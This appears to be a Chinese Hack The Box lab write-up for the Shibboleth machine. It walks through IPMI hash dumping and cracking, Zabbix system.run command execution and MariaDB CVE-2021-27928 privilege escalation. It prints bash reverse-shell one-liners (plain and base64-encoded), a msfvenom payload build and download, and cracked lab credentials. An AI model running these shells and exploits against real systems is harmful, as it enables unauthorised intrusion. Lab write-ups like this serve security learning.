HTB 学习笔记
【Hack The Box】Linux练习-- Shibboleth
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 域名爆破
- shibboleth.htb - TCP 80
- zabbix/monitor/monitoring.shibboleth.htb - TCP 80
- IPMI
- 获取版本
- IPMI 2
- 破解密码
- 密码复用
- CVE-2021-27928
信息收集
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://shibboleth.htb/
Service Info: Host: shibboleth.htb
shibboleth.htb
域名爆破
wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
因为可以看到word一列均为26,所以我们添加–hw 26
wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26
得到如下并添加到hosts
shibboleth.htb
monitor.shibboleth.htb
monitoring.shibboleth.htb
zabbix.shibboleth.htb
shibboleth.htb - TCP 80
全都是垃圾文本,页面底部有一些信息
© Copyright FlexStart. All Rights Reserved
Powered by enterprise monitoring solutions based on Zabbix & Bare Metal BMC automation
页面底部有这个个信息
FlexStart是个cms还是个啥
Bare Metal BMC automation是一个类似于工控的一个监控的东西
目录爆破啥都没有
zabbix/monitor/monitoring.shibboleth.htb - TCP 80
一个zabbix登陆界面
也没有默认凭据,也没有注册,也没有子目录
IPMI
谷歌搜索“Bare Metal BMC automation”
https://deploy.equinix.com/blog/redfish-and-the-future-of-bare-metal-server-automation/
这篇文章讲到了
最常见的平台是 IPMI 。 目前在 2.0 版中,IPMI 允许通过以太网进行“带外”访问,以进行重新启动服务器、测量温度或风扇速度等操作,或者访问 IP-KVM 或 Serial-over-Lan 等服务器的接口。
而在hacktrick中讲到ipmi常常开启在udp623
我们扫一下udp623是否开启
nmap -sU -p 623 -sCV -A shibboleth.htb
那么就可以了
现在要获取版本
获取版本
use auxiliary/scanner/ipmi/ipmi_version
set rhosts 10.129.19.82
run
这是2.0
IPMI 2
IPMI 2 使用 RAKP 协议交换密钥,这具有巨大的安全风险,
IPMI 规范中的 RAKP 协议允许任何人使用 IPMI 命令获取可以离线破解的 HMAC IPMI 密码哈希。
两种方法。第一,利用msf
use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts 10.129.19.82
run
Administrator:58a4653f820100007b6b6939f06c9f1e6dbb7cc22269a495ae3d708bbc7b73e0230c1b876677bec2a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:67f9ffd760c9677ed2332400a2e0c36145f76be5
第二,利用脚本
https://github.com/c0rnf13ld/ipmiPwner
sudo python3 ipmipwner.py --host 10.10.11.124
但是这个生成出来的hash不一样
有可能我的理解有点问题
有懂的师傅可以指点一下
破解密码
/usr/bin/hashcat-6.2.6/hashcat.bin ipmi.hash /usr/share/wordlists/rockyou.txt --user
能自动识别
得到凭据如下
Administrator/ilovepumkinpie1
主页显示一台主机已经登陆了一年多了
他是这个域名
shibboleth.htb
但是我没有获得什么有用的信息
我接着找,在如下图的位置找到了一个创建主机的地方
并且在这里有一个项目的按钮,点击一下,然后再点击右上角的创建项目
select发现system可以执行命令,并且有一条就是关于执行命令的,只不过那个命令还需要带一个模式参数,我不知道该选什么,于是就没选
而后点击最下面的测试
再点击获取结果
可以了rce,反弹端口
当我在命令中输入
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
这种情况要么需要url编码,要么需要b64编码
不存在无法执行的情况,因为这是bash命令
所以我将进行url编码,而后进行b64编码进行尝试
最终发现b64编码可行
echo "bash -i >& /dev/tcp/10.10.14.6/443 0>&1 " | base64
system.run[echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvNzc3NyAwPiYxIAo= | base64 -d | bash]
但是很快他就断了
我不清楚原因是什么
我采用的办法是在我获得shell的一瞬间,粘贴
bash -i >& /dev/tcp/10.10.14.29/8888 0>&1
到新的端口,而后来自网站的流量会断掉端口流量,而因为我们的二传已经将路径延伸出去了,所以网站只会断掉第二传的流量,而第一传保持完好
只有一个ipmi-svc用户
密码复用
端口无异常(存在本地3306)
sudo无异常
文件配置信息无异常
那么这样看来我就需要去mysql直接找到root用户凭据了
因为基本的枚举都没有什么问题,或者只能内核提权
要找到 MySQL 的凭据,我需要 Zabbix 配置文件。 它住在 /etc/zabbix
而且它很大,大部分行都是注释和默认值。 为了找到数据库信用,我将使用两个 grep命令,首先删除以 #, 然后删除空行:
cat zabbix_server.conf | grep -v "^#" | grep .
或者也可以直接全部复制粘贴下来然后拿到本地搜索关键字
最终可以得到凭据:
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
而后登陆数据库
mysql -u zabbix -pbloooarskybluh
show databases;
但是我没有找到任何的有用的凭据
但是在我链接数据库的时候
10.3.25 MariaDB
映入眼帘
如果我们搜索版本漏洞
引入眼帘的同样是
CVE-2021-27928
按照一些方法,去执行
CVE-2021-27928
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.29 LPORT=6666 -f elf-so -o rev.so
wget 10.10.14.6/rev.so
数据库执行
SET GLOBAL wsrep_provider="/tmp/rev.so";